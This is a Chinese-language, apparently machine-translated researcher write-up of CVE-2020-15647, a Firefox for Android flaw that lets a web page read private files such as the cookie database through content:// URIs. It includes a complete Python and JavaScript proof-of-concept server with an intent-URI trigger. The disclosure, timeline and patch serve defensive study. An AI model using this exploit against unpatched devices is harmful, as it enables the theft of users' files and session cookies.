目录导航
这是CVE-2020–15647的文章,解释了网页如何能够从您的Android设备上窃取文件,包括但不限于来自任何已访问网站的cookie。
起源
在2020年中,我开始检查Android浏览器是否存在多种类型的漏洞。在查看Android版Firefox v68.9.0时,我注意到它在浏览content://
URI时显示奇怪的行为。
对于上下文,Android中的Content URI标识内容提供者中的数据;它们可以表示多种形式的信息,例如文件或数据库信息。
大多数浏览器支持 file://content://content://
测试内容://URI
当我测试Firefox对content
URI的使用时,我注意到在渲染URI时地址栏正在更改,从而将我重定向到file://
URI。看来Firefox将内容保存到文件中,然后将我重定向到该创建的文件-该文件被保存在内部临时文件夹中/data/data/org.mozilla/firefox/cache/contentUri/

我还注意到,创建的文件_display_name
与提供程序返回的显示名称()具有相同的名称,并且Firefox不会更改名称(因此会覆盖该文件)(如果已存在)。
权限
内容提供者的问题是,通常,应用程序需要特定的URI权限才能从其他应用程序和提供者获取内容。这样可以防止应用程序访问其他提供程序中的文件,除非已明确授予它们许可(在点击“打开方式”或“共享方式”并选择一个应用程序访问文件时就是这种情况)。但是,从自己的内容提供者访问URI时,应用程序无需遵循此路线。
Firefox的文件内容提供者的权限为org.mozilla.firefox.fileprovider
,并且具有以下配置:
<paths xmlns:android="http://schemas.android.com/apk/res/android"> <root-path name="root" path="."/> </paths>
由于使用了根路径配置,因此这是一个问题。只要可以访问,我几乎可以在Firefox中打开任何文件。
现在我们知道可以打开任何文件了,让我们尝试将文件内容公开到外部。
利用SOP的 file://
Firefox处理跨域请求的方式file://
已被充分证明。就此漏洞利用而言,您唯一需要知道的是文件可以访问其自身的内容(例如,通过new XMLHttpRequest().open("GET", window.location, true)
),因为其来源是相同的。
现在,如果文件可以请求自己的内容,并且可以替换这些内容,那么我也许可以使用相同的名称将文件的内容欺骗为另一个文件,对吗?
我从简单的测试开始-我需要通过从外部目录打开文件来检索私有文件的内容。在这种情况下,我选择了/data/user/0/org.mozilla.firefox/files/mozilla/profiles.ini
; 该文件包含有关cookie数据库在设备中存储位置的信息。
要检索此文件,我需要创建一个同名文件,并将其保存在中/sdcard/Download/profiles.ini
。像在第一段中一样,我将使用XMLHttpRequest
来检索window.location
。
/sdcard/Download/profiles.ini
https://medium.com/media/e2eadc6fa0566bb20bcfad325cd77acd
要加载此脚本,我们还将在同一文件中创建一个iframe,该iframe会加载一个content://
指向我们实际尝试读取的文件的URI;通过使用content://
URI打开,我们将利用Firefox将文件复制到另一个位置并通过进行访问file://
/sdcard/Download/profiles.ini
<script>
function start() {
setTimeout(function() {
var xmlHttp = new XMLHttpRequest();
xmlHttp.onreadystatechange = function() {
if (this.readyState == 4) {
alert(xmlHttp.responseText);
}
};
xmlHttp.open("GET", window.location, true);
xmlHttp.send();
}, 1500);
}
</script>

总结一下,通过打开我们创建的文件:
- Firefox打开
content://org.mozilla.firefox.fileprovider/root/sdcard/Download/profiles.ini
,它是文件的内容URI表示形式/sdcard/Download/profiles.ini
- Firefox提取其提供商提供的内容并将其保存在
/data/data/org.mozilla.firefox/cache/contentUri/profiles.ini
- Firefox在步骤2中将用户重定向到文件,并以
file://
URI作为前缀 - 呈现后的HTML页面
content://
在其src
字段中具有iframe请求URI,该URI与当前打开的文件具有相同的名称(尽管位置不同),content://org.mozilla.firefox.fileprovider/root/data/user/0/org.mozilla.firefox/files/mozilla/profiles.ini
- Firefox将步骤3中打开的文件内容替换为步骤4中的文件内容
- 短暂的延迟后,页面将警告其自己的内容(现在已在步骤4中将其更改为另一个文件的内容)
现在,我们遇到了跨域问题,因为如果文件共享相同的名称,则file://
URI可以访问另一个file://
URI的内容。此外,由于我们使用的是Firefox的提供程序;该提供商的root-path
配置意味着我们可以利用它来访问设备上的任何文件。
升级到远程
下一个问题是检查是否有可能使用android-app
Intent URI将此漏洞转换为可远程执行的概念证明。
深度链接功能通常使用意图URI。您可以在这里和这里阅读有关它们的更多信息。
我将设置一个Python服务器来分配此下一个漏洞。我们需要的第一件事是使用我们需要窃取的同名文件。在这种情况下,我们的远程网页应该能够触发profiles.ini
我们创建的文件的下载。
self.send_response(200)
self.send_header("Content-Type", "application/octet-stream")
self.send_header("content-disposition", "attachment; filename=profiles.ini")
self.end_headers()
下载文件后,我们需要将其打开。我们将使用深层链接内容URI继续使用Firefox将下载的文件移动到其内部目录:
<script>
setTimeout(function () {
window.location.href = 'android-app://org.mozilla.firefox/content/org.mozilla.firefox.fileprovider/root/sdcard/Download/profiles.ini#Intent;type=text/html;end';
}, 1500);
</script>
这应该和以前一样;它将要求Firefox(URI的org.mozilla.firefox
一部分android-app
)content://org.mozilla.firefox.fileprovider/root/sdcard/Download/profiles.ini
使用action打开内容URI android.intent.action.VIEW
,将内容下载到URI/data/data/org.mozilla.firefox/cache/contentUri/profiles.ini
并使用file://
URI打开。
它有效/敏感文件的内容已输出。您可以在此处查看完整的代码。
CVE-2020-15647 PoC
from http.server import HTTPServer, BaseHTTPRequestHandler
class SimpleHTTPRequestHandler(BaseHTTPRequestHandler):
def get_file_html(self):
return """
<!DOCTYPE html>
<html>
<script>
function start() {
setTimeout(function() {
var xmlHttp = new XMLHttpRequest();
xmlHttp.onreadystatechange = function() {
if (this.readyState == 4) {
alert(xmlHttp.responseText);
}
};
xmlHttp.open("GET", window.location, true);
xmlHttp.send();
}, 1500);
}
</script>
<iframe id="my_iframe" src="content://org.mozilla.firefox.fileprovider/root/data/user/0/org.mozilla.firefox/files/mozilla/profiles.ini" onload="start()"></iframe>
</html>
"""
def do_GET(self):
if "/file" in self.path:
self.send_response(200)
self.send_header("Content-Type", "application/octet-stream")
self.send_header("content-disposition", "attachment; filename=profiles.ini")
self.end_headers()
self.wfile.write(self.get_file_html().encode())
else:
self.send_response(200)
self.end_headers()
body = b"""
<html>
<script>
setTimeout(function () {
window.location.href = 'android-app://org.mozilla.firefox/content/org.mozilla.firefox.fileprovider/root/sdcard/Download/profiles.ini#Intent;type=text/html;end';
}, 1500);
</script>
<iframe src="file"></iframe>
</html>
"""
self.wfile.write(body)
httpd = HTTPServer(('localhost', 8080), SimpleHTTPRequestHandler)
httpd.serve_forever()
结论和最后的想法
如图所示,仅通过让受害者访问网页就可以从设备窃取文件。在实际的攻击情形中,恶意文件会将读取的内容发送到攻击者控制的服务器,而不是以警报方式输出内容。
当我提交该漏洞时,我提出的概念证明强调了窃取Firefox cookie数据库的能力,该cookie数据库是一个sqlite数据库,其中包含来自访问域的所有cookie。
以下是PoC的示例:
下图显示了漏洞利用的工作方式

在撰写本文时,Firefox Fennec(v68.9.0)已接近“生命周期尽头”,并且将被不脆弱的Fenix取代。即便如此,Firefox仍将其视为一个关键问题,并在很短的时间内修复了该漏洞,并将版本推至(v68.10.1)。这只是表明这些人认真对待其平台中的安全问题。他们也非常专业并且易于沟通。
这篇文章是我在2020年在Android浏览器上发现的一系列文章的一部分。请继续关注其他浏览器(例如Brave和Samsung Browser)上的后续文章!
时间线
2020–06–20 —向Mozilla报告问题
2020–06–22 —开始内部调查
2020–06–25 —确认并解决了该问题(??)
2020–07–06-固定版本在Play商店(v68.10.1)上发布
2020-07-07-奖励给我赏金($ 5000)